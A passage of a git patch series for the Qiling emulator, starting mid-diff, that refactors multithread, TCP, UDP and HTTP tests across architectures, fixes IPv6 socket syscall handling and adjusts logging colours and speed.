ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{X64_LINUX_ROOTFS}/bin/x8664_multithreading'], X64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) def test_multithread_elf_linux_mips32eb(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_multithreading"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG, multithread=True) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{MIPSEB_LINUX_ROOTFS}/bin/mips32_multithreading'], MIPSEB_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) def test_multithread_elf_linux_mips32el(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_multithreading"], "../examples/rootfs/mips32el_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{MIPSEL_LINUX_ROOTFS}/bin/mips32el_multithreading'], MIPSEL_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) def test_multithread_elf_linux_arm(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_multithreading"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARM_LINUX_ROOTFS}/bin/arm_multithreading'], ARM_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertTrue("thread 2 ret val is" in buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) - del ql + @unittest.skip('broken: unicorn.unicorn.UcError: Invalid instruction (UC_ERR_INSN_INVALID)') + def test_multithread_elf_linux_armeb(self): + logged: List[str] = [] - # unicorn.unicorn.UcError: Invalid instruction (UC_ERR_INSN_INVALID) - # def test_multithread_elf_linux_armeb(self): - # def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - # nonlocal buf_out - # try: - # buf = ql.mem.read(write_buf, write_count) - # buf = buf.decode() - # buf_out = buf - # except: - # pass - # buf_out = None - # ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_multithreading"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - # ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - # ql.run() + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = ql.mem.read(write_buf, count) - # self.assertTrue("thread 2 ret val is" in buf_out) + logged.append(content.decode()) + + ql = Qiling([fr'{ARMEB_LINUX_ROOTFS}/bin/armeb_multithreading'], ARMEB_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() - # del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) def test_tcp_elf_linux_x86(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_tcp_test", "20001"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{X86_LINUX_ROOTFS}/bin/x86_tcp_test', '20000'], X86_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recv()')) + self.assertTrue(logged[-1].startswith('server send()')) - del ql + # the server is expected to send the value it received, for example: + # 'server recv() return 14.\n' + # 'server send() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_tcp_elf_linux_x8664(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_tcp_test", "20002"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{X64_LINUX_ROOTFS}/bin/x8664_tcp_test', '20001'], X64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recv()')) + self.assertTrue(logged[-1].startswith('server send()')) + + # the server is expected to send the value it received, for example: + # 'server recv() return 14.\n' + # 'server send() 14 return 14.\n' - del ql + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_tcp_elf_linux_arm(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server write()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_tcp_test", "20003"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARM_LINUX_ROOTFS}/bin/arm_tcp_test', '20002'], ARM_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server write() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server read()')) + self.assertTrue(logged[-1].startswith('server write()')) + + # the server is expected to send the value it received, for example: + # 'server read() return 14.\n' + # 'server write() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') - del ql + num = m.group('num') + msg = logged[-1].strip() + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_tcp_elf_linux_arm64(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_tcp_test", "20004"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARM64_LINUX_ROOTFS}/bin/arm64_tcp_test', '20003'], ARM64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recv()')) + self.assertTrue(logged[-1].startswith('server send()')) - del ql + # the server is expected to send the value it received, for example: + # 'server recv() return 14.\n' + # 'server send() 14 return 14.\n' + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_tcp_elf_linux_armeb(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server send()"): - ql.buf_out = buf - except: - pass - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_tcp_test", "20003"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARMEB_LINUX_ROOTFS}/bin/armeb_tcp_test', '20004'], ARMEB_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recv()')) + self.assertTrue(logged[-1].startswith('server send()')) + + # the server is expected to send the value it received, for example: + # 'server recv() return 14.\n' + # 'server send() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') - del ql + num = m.group('num') + msg = logged[-1].strip() + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_tcp_elf_linux_mips32eb(self): - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_tcp_test", "20005"], "../examples/rootfs/mips32_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{MIPSEB_LINUX_ROOTFS}/bin/mips32_tcp_test', '20005'], MIPSEB_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recv()')) + self.assertTrue(logged[-1].startswith('server send()')) + + # the server is expected to send the value it received, for example: + # 'server recv() return 14.\n' + # 'server send() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_tcp_elf_linux_mips32el(self): - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_tcp_test", "20005"], "../examples/rootfs/mips32el_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{MIPSEL_LINUX_ROOTFS}/bin/mips32el_tcp_test', '20006'], MIPSEL_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server read()')) + self.assertTrue(logged[-1].startswith('server write()')) + + # the server is expected to send the value it received, for example: + # 'server read() return 14.\n' + # 'server write() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_udp_elf_linux_x86(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_udp_test", "20007"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{X86_LINUX_ROOTFS}/bin/x86_udp_test', '20010'], X86_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recvfrom()')) + self.assertTrue(logged[-1].startswith('server sendto()')) + + # the server is expected to send the value it received, for example: + # 'server recvfrom() return 14.\n' + # 'server sendto() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') - del ql + num = m.group('num') + msg = logged[-1].strip() + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_udp_elf_linux_x8664(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_udp_test", "20008"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{X64_LINUX_ROOTFS}/bin/x8664_udp_test', '20011'], X64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recvfrom()')) + self.assertTrue(logged[-1].startswith('server sendto()')) - del ql + # the server is expected to send the value it received, for example: + # 'server recvfrom() return 14.\n' + # 'server sendto() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_udp_elf_linux_arm64(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_udp_test", "20009"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARM64_LINUX_ROOTFS}/bin/arm64_udp_test', '20013'], ARM64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recvfrom()')) + self.assertTrue(logged[-1].startswith('server sendto()')) + + # the server is expected to send the value it received, for example: + # 'server recvfrom() return 14.\n' + # 'server sendto() 14 return 14.\n' - del ql + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') + + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_udp_elf_linux_armeb(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_udp_test", "20010"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 2: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARMEB_LINUX_ROOTFS}/bin/armeb_udp_test', '20014'], ARMEB_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('server recvfrom()')) + self.assertTrue(logged[-1].startswith('server sendto()')) + + # the server is expected to send the value it received, for example: + # 'server recvfrom() return 14.\n' + # 'server sendto() 14 return 14.\n' + + m = re.search(r'(?P\d+)\.\s+\Z', logged[-2]) + self.assertIsNotNone(m, 'could not extract numeric value from log message') - del ql + num = m.group('num') + msg = logged[-1].strip() + + self.assertTrue(msg.endswith(f'{num} return {num}.')) def test_http_elf_linux_x8664(self): + PORT = 20020 + def picohttpd(): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/picohttpd", "12911"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql = Qiling([fr'{X64_LINUX_ROOTFS}/bin/picohttpd', f'{PORT:d}'], X64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) ql.run() picohttpd_therad = threading.Thread(target=picohttpd, daemon=True) @@ -357,14 +554,18 @@ def picohttpd(): time.sleep(1) - f = http.client.HTTPConnection('localhost', 12911, timeout=10) - f.request("GET", "/") - response = f.getresponse() - self.assertEqual("httpd_test_successful", response.read().decode()) + conn = http.client.HTTPConnection('localhost', PORT, timeout=10) + conn.request('GET', '/') + + response = conn.getresponse() + feedback = response.read() + self.assertEqual('httpd_test_successful', feedback.decode()) def test_http_elf_linux_arm(self): + PORT = 20021 + def picohttpd(): - ql = Qiling(["../examples/rootfs/arm_linux/bin/picohttpd", "12912"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql = Qiling([fr'{ARM_LINUX_ROOTFS}/bin/picohttpd', f'{PORT:d}'], ARM_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) ql.run() picohttpd_therad = threading.Thread(target=picohttpd, daemon=True) @@ -372,14 +573,18 @@ def picohttpd(): time.sleep(1) - f = http.client.HTTPConnection('localhost', 12912, timeout=10) - f.request("GET", "/") - response = f.getresponse() - self.assertEqual("httpd_test_successful", response.read().decode()) + conn = http.client.HTTPConnection('localhost', PORT, timeout=10) + conn.request('GET', '/') + + response = conn.getresponse() + feedback = response.read() + self.assertEqual('httpd_test_successful', feedback.decode()) def test_http_elf_linux_armeb(self): + PORT = 20022 + def picohttpd(): - ql = Qiling(["../examples/rootfs/armeb_linux/bin/picohttpd", "12913"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql = Qiling([fr'{ARMEB_LINUX_ROOTFS}/bin/picohttpd', f'{PORT:d}'], ARMEB_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) ql.run() picohttpd_thread = threading.Thread(target=picohttpd, daemon=True) @@ -387,19 +592,23 @@ def picohttpd(): time.sleep(1) - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.connect(("localhost", 12913)) - s.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1:12913\r\nUser-Agent: curl/7.74.0\r\nAccept: */*\r\n\r\n") - data = s.recv(1024) + # armeb libc uses statx to query stdout stats, but fails because 'stdout' is not a valid + # path on the hosting paltform. it prints out the "Server started" message, but stdout is + # not found and the message is kept buffered in. + # + # later on, picohttpd dups the client socket into stdout fd and uses ordinary printf to + # send data out. however, when the "successful" message is sent, it is sent along with + # the buffered message, which arrives first and raises a http.client.BadStatusLine exception + # as it reads as a malformed http response. + # + # here we use a raw 'recv' method instead of 'getresponse' to work around that. - res = data.decode("UTF-8",'replace') - self.assertIn("httpd_test_successful", res) + conn = http.client.HTTPConnection('localhost', PORT, timeout=10) + conn.request('GET', '/') + + feedback = conn.sock.recv(96).decode() + self.assertTrue(feedback.endswith('httpd_test_successful')) if __name__ == "__main__": unittest.main() - - - - - From 073950a3e851eb4563dc19070e2345ee03453dbf Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 23 Apr 2023 21:04:51 +0300 Subject: [PATCH 071/103] Fix bugs in IPv6 socket impl --- qiling/os/posix/syscall/socket.py | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/qiling/os/posix/syscall/socket.py b/qiling/os/posix/syscall/socket.py index 01068aacc..d02b8cfec 100644 --- a/qiling/os/posix/syscall/socket.py +++ b/qiling/os/posix/syscall/socket.py @@ -27,10 +27,10 @@ def inet_aton(ipaddr: str) -> int: return int.from_bytes(ipdata, byteorder='big') -def inet6_aton(ipaddr: str) -> int: - ipdata = ipaddress.IPv6Address(ipaddr).packed +def inet6_aton(ipaddr: str) -> Tuple[int, ...]: + abytes = ipaddress.IPv6Address(ipaddr).packed - return int.from_bytes(ipdata, byteorder='big') + return tuple(abytes) def inet_htoa(ql: Qiling, addr: int) -> str: @@ -52,6 +52,10 @@ def inet6_htoa(ql: Qiling, addr: bytes) -> str: def inet6_ntoa(addr: bytes) -> str: + # if addr arg is not strictly a bytes object, convert it to bytes + if not isinstance(addr, bytes): + addr = bytes(addr) + return ipaddress.IPv6Address(addr).compressed @@ -260,10 +264,10 @@ def ql_syscall_connect(ql: Qiling, sockfd: int, addr: int, addrlen: int): dest = (host, port) elif sock.family == AF_INET6 and ql.os.ipv6: - sockaddr_in6 = make_sockaddr_in(abits, endian) + sockaddr_in6 = make_sockaddr_in6(abits, endian) sockaddr_obj = sockaddr_in6.from_buffer(data) - port = ntohs(ql, sockaddr_obj.sin_port) + port = ntohs(ql, sockaddr_obj.sin6_port) host = inet6_htoa(ql, sockaddr_obj.sin6_addr.s6_addr) ql.log.debug(f'Connecting to {host}:{port}') @@ -409,10 +413,10 @@ def ql_syscall_bind(ql: Qiling, sockfd: int, addr: int, addrlen: int): dest = (host, port) elif sa_family == AF_INET6 and ql.os.ipv6: - sockaddr_in6 = make_sockaddr_in(abits, endian) + sockaddr_in6 = make_sockaddr_in6(abits, endian) sockaddr_obj = sockaddr_in6.from_buffer(data) - port = ntohs(ql, sockaddr_obj.sin_port) + port = ntohs(ql, sockaddr_obj.sin6_port) host = inet6_ntoa(sockaddr_obj.sin6_addr.s6_addr) if ql.os.bindtolocalhost: @@ -879,10 +883,10 @@ def ql_syscall_sendto(ql: Qiling, sockfd: int, buf: int, length: int, flags: int dest = (host, port) elif sa_family == AF_INET6 and ql.os.ipv6: - sockaddr_in6 = make_sockaddr_in(abits, endian) + sockaddr_in6 = make_sockaddr_in6(abits, endian) sockaddr_obj = sockaddr_in6.from_buffer(data) - port = ntohs(ql, sockaddr_obj.sin_port) + port = ntohs(ql, sockaddr_obj.sin6_port) host = inet6_ntoa(sockaddr_obj.sin6_addr.s6_addr) ql.log.debug(f'Sending to {host}:{port}') From 062bb576585dd1a288624a616a2e65d8dabda4c7 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 28 Apr 2023 17:03:43 +0300 Subject: [PATCH 072/103] Remove unused log colors --- qiling/log.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/qiling/log.py b/qiling/log.py index 46026b8db..239174ce4 100644 --- a/qiling/log.py +++ b/qiling/log.py @@ -26,14 +26,12 @@ class COLOR: - WHITE = '\033[37m' CRIMSON = '\033[31m' RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' - CYAN = '\033[96m' ENDC = '\033[0m' @@ -48,7 +46,8 @@ class QlBaseFormatter(Formatter): def __init__(self, ql: Qiling, *args, **kwargs): super().__init__(*args, **kwargs) - self.ql = weakref.proxy(ql) + + self.ql: Qiling = weakref.proxy(ql) def get_level_tag(self, level: str) -> str: return self.__level_tag[level] From 26e4786e37cd9cd7df346f8d10138cd4bb39d3b7 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 28 Apr 2023 17:05:25 +0300 Subject: [PATCH 073/103] Switch back to default color instead reset entirely --- qiling/log.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/qiling/log.py b/qiling/log.py index 239174ce4..66feb6bae 100644 --- a/qiling/log.py +++ b/qiling/log.py @@ -32,7 +32,7 @@ class COLOR: YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' - ENDC = '\033[0m' + DEFAULT = '\033[39m' class QlBaseFormatter(Formatter): @@ -85,12 +85,12 @@ class QlColoredFormatter(QlBaseFormatter): def get_level_tag(self, level: str) -> str: s = super().get_level_tag(level) - return f'{self.__level_color[level]}{s}{COLOR.ENDC}' + return f'{self.__level_color[level]}{s}{COLOR.DEFAULT}' def get_thread_tag(self, tid: str) -> str: s = super().get_thread_tag(tid) - return f'{COLOR.GREEN}{s}{COLOR.ENDC}' + return f'{COLOR.GREEN}{s}{COLOR.DEFAULT}' class RegexFilter(Filter): From 45056c99f46e27ed56abf748211d06d4eae392bf Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 28 Apr 2023 17:05:50 +0300 Subject: [PATCH 074/103] Adhere to the NO_COLOR convention --- qiling/log.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/qiling/log.py b/qiling/log.py index 66feb6bae..fd2a00a60 100644 --- a/qiling/log.py +++ b/qiling/log.py @@ -177,7 +177,10 @@ def setup_logger(ql: Qiling, log_file: Optional[str], console: bool, log_overrid if console: handler = StreamHandler() - if log_plain or not __is_color_terminal(handler.stream): + # adhere to the NO_COLOR convention (see: https://no-color.org/) + no_color = os.getenv('NO_COLOR', False) + + if no_color or log_plain or not __is_color_terminal(handler.stream): formatter = QlBaseFormatter(ql, FMT_STR) else: formatter = QlColoredFormatter(ql, FMT_STR) From 8a364a51dbfd40301e25e73330b18d6be2616462 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 28 Apr 2023 17:06:12 +0300 Subject: [PATCH 075/103] Slightly optimize logging for speed --- qiling/log.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/qiling/log.py b/qiling/log.py index fd2a00a60..7303afeeb 100644 --- a/qiling/log.py +++ b/qiling/log.py @@ -200,6 +200,12 @@ def setup_logger(ql: Qiling, log_file: Optional[str], console: bool, log_overrid log.setLevel(logging.INFO) + # optimize logging speed by avoiding the collection of unnecesary logging properties + logging._srcfile = None + logging.logThreads = False + logging.logProcesses = False + logging.logMultiprocessing = False + return log From 4c53a432c4943f4861f9298aa0f9be162346a3ac Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 28 Apr 2023 17:08:12 +0300 